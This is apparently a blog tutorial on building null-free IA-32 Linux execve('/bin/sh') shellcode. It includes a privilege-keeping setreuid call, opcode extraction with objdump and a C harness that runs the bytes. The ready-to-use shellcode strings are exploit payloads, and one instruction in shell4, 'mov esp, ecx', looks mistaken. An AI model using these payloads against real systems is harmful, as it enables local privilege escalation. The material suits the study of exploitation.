index search github twitter

IA-32 Linux Shellcode Basics 2

Starting with the ASM code that is position dependent:

;shell1.asm
section .data
cmd db '/bin/sh',0x0

section .text
global _start
_start:

;execve("/bin/sh", {"/bin/sh", NULL}, NULL)
mov eax, 11
lea ebx, [cmd]
mov ecx, 0
push ecx
push ebx
mov ecx, esp
mov edx, 0
int 0x80
root@kali32:/tmp# nasm -f elf shell1.asm; ld shell1.o -o shell1

root@kali32:/tmp# ./shell1 
# 
root@kali32:/tmp# objdump -M intel -d shell1

shell1:     file format elf32-i386


Disassembly of section .text:

08048080 <_start>:
 8048080:	b8 0b 00 00 00       	mov    eax,0xb
 8048085:	8d 1d 9c 90 04 08    	lea    ebx,ds:0x804909c
 804808b:	b9 00 00 00 00       	mov    ecx,0x0
 8048090:	51                   	push   ecx
 8048091:	53                   	push   ebx
 8048092:	89 e1                	mov    ecx,esp
 8048094:	ba 00 00 00 00       	mov    edx,0x0
 8048099:	cd 80                	int    0x80

The minimalistic shell could look like execve("/bin/sh", NULL, NULL). However, according documentation it’s not portable among UNIX systems:

man 2 execve

  On Linux, argv can be specified as NULL, which has the same effect as
  specifying this argument as a pointer to a list containing a single NULL
  pointer.  Do not take advantage of this  misfea‐ ture!  It is nonstandard and
  nonportable: on most other UNIX systems doing this will result in an error
  (EFAULT).

Again, the same procedure. We need to get rid of absolute address reference and NULL bytes.

; shell2.asm
section .text
global _start
_start:

;execve("/bin/sh", {"/bin/sh", NULL}, NULL)
xor eax, eax
xor edx, edx

push eax ; \0
push 'n/sh'
push '//bi'
mov ebx, esp

push eax ; \0
push ebx ; /bin/sh
mov ecx, esp

mov  al, 11
int 0x80
root@kali32:/tmp# nasm -f elf shell2.asm; ld shell2.o -o shell2

root@kali32:/tmp# ./shell2 
# 

Before we dump our opcodes, we add setreuid(geteuid(), geteuid() call:

; shell3.asm
section .text
global _start
_start:

; geteuid
push byte 49
pop eax
int 0x80

; setreuid(geteuid(), geteuid()
mov ebx, eax
mov ecx, eax
push byte 70
pop eax
int 0x80

;execve("/bin/sh", {"/bin/sh", NULL}, NULL)
xor eax, eax
xor edx, edx

push eax ; \0
push 'n/sh'
push '//bi'
mov ebx, esp

push eax ; \0
push ebx ; /bin/sh
mov ecx, esp

mov  al, 11
int 0x80
root@kali32:/tmp# nasm -f elf shell3.asm; ld shell3.o -o shell3

root@kali32:/tmp# ./shell3 
root@kali32:/tmp# objdump -M intel -d shell3

shell3:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	6a 31                	push   0x31
 8048062:	58                   	pop    eax
 8048063:	cd 80                	int    0x80
 8048065:	89 c3                	mov    ebx,eax
 8048067:	89 c1                	mov    ecx,eax
 8048069:	6a 46                	push   0x46
 804806b:	58                   	pop    eax
 804806c:	cd 80                	int    0x80
 804806e:	31 c0                	xor    eax,eax
 8048070:	31 d2                	xor    edx,edx
 8048072:	50                   	push   eax
 8048073:	68 6e 2f 73 68       	push   0x68732f6e
 8048078:	68 2f 2f 62 69       	push   0x69622f2f
 804807d:	89 e3                	mov    ebx,esp
 804807f:	50                   	push   eax
 8048080:	53                   	push   ebx
 8048081:	89 e1                	mov    ecx,esp
 8048083:	b0 0b                	mov    al,0xb
 8048085:	cd 80                	int    0x80

Analogously as before:

root@kali32:/tmp# objdump -d shell3 | tr '[:blank:]' '\n' | egrep '^[0-9a-f]{2}$' | sed 's#^#\\x#' | paste -s -d ''
\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
root@kali32:/tmp# sc=$(objdump -d shell3 | tr '[:blank:]' '\n' | egrep '^[0-9a-f]{2}$' | sed 's#^#\\x#' | paste -s -d '')

root@kali32:/tmp# echo $sc | ruby -e 'print $stdin.read.scan(/\\x(..)/).flatten.map{ |x| x.to_i(16).chr }.join' > shellcode
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

char sc[]= "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(){
        void * a = mmap(0, 4096, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 
        printf("allocated executable memory at: %p\n", a); 
        printf("shellcode length: %d\n", strlen(sc)); 
        ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}
root@kali32:/tmp# gcc test.c -o test
root@kali32:/tmp# ./test 
allocated executable memory at: 0xb76f7000
shellcode length: 39
# 

Alternatively we can obtain string reference with call instruction:

; shell4.asm
section .text
global _start
_start:

; geteuid
push byte 49
pop eax
int 0x80

; setreuid(geteuid(), geteuid()
mov ebx, eax
mov ecx, eax
push byte 70
pop eax
int 0x80

;execve("/bin/sh", NULL, NULL);
xor eax, eax
xor ecx, ecx
xor edx, edx

jmp short string_loc

string_loc_ret:
pop ebx
mov [ebx+7], cl ; rewrite N with \0

push edx; \0
push ebx; /bin/sh
mov esp, ecx

mov al, 11
int 0x80

string_loc:
call string_loc_ret ; this put the (return) address of the string to the top of the stack
db '/bin/shN'
root@kali32:/tmp# nasm -f elf shell4.asm; ld shell4.o -o shell4

root@kali32:/tmp# ./shell4
Segmentation fault

The segfault is normal and it’s because we are trying to overwrite the code segment at the line mov BYTE PTR [ebx+0x7],cl. However, our shellcode will be loaded on stack and that doesn’t mean any complication.

root@kali32:/tmp# objdump -M intel -d shell4

shell4:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	6a 31                	push   0x31
 8048062:	58                   	pop    eax
 8048063:	cd 80                	int    0x80
 8048065:	89 c3                	mov    ebx,eax
 8048067:	89 c1                	mov    ecx,eax
 8048069:	6a 46                	push   0x46
 804806b:	58                   	pop    eax
 804806c:	cd 80                	int    0x80
 804806e:	31 c0                	xor    eax,eax
 8048070:	31 c9                	xor    ecx,ecx
 8048072:	31 d2                	xor    edx,edx
 8048074:	eb 0c                	jmp    8048082 <string_loc>

08048076 <string_loc_ret>:
 8048076:	5b                   	pop    ebx
 8048077:	88 4b 07             	mov    BYTE PTR [ebx+0x7],cl
 804807a:	52                   	push   edx
 804807b:	53                   	push   ebx
 804807c:	89 cc                	mov    esp,ecx
 804807e:	b0 0b                	mov    al,0xb
 8048080:	cd 80                	int    0x80

08048082 <string_loc>:
 8048082:	e8 ef ff ff ff       	call   8048076 <string_loc_ret>
 8048087:	2f                   	das    
 8048088:	62 69 6e             	bound  ebp,QWORD PTR [ecx+0x6e]
 804808b:	2f                   	das    
 804808c:	73 68                	jae    80480f6 <string_loc+0x74>
 804808e:	4e                   	dec    esi
root@kali32:/tmp# objdump -d shell4 | tr '[:blank:]' '\n' | egrep '^[0-9a-f]{2}$' | sed 's#^#\\x#' | paste -s -d ''
\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xc9\x31\xd2\xeb\x0c\x5b\x88\x4b\x07\x52\x53\x89\xcc\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

char sc[]= "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xc9\x31\xd2\xeb\x0c\x5b\x88\x4b\x07\x52\x53\x89\xcc\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e";

int main(){
        void * a = mmap(0, 4096, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 
        printf("allocated executable memory at: %p\n", a); 
        printf("shellcode length: %d\n", strlen(sc)); 
        ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}
root@kali32:/tmp# ./test 
allocated executable memory at: 0xb7789000
shellcode length: 47
#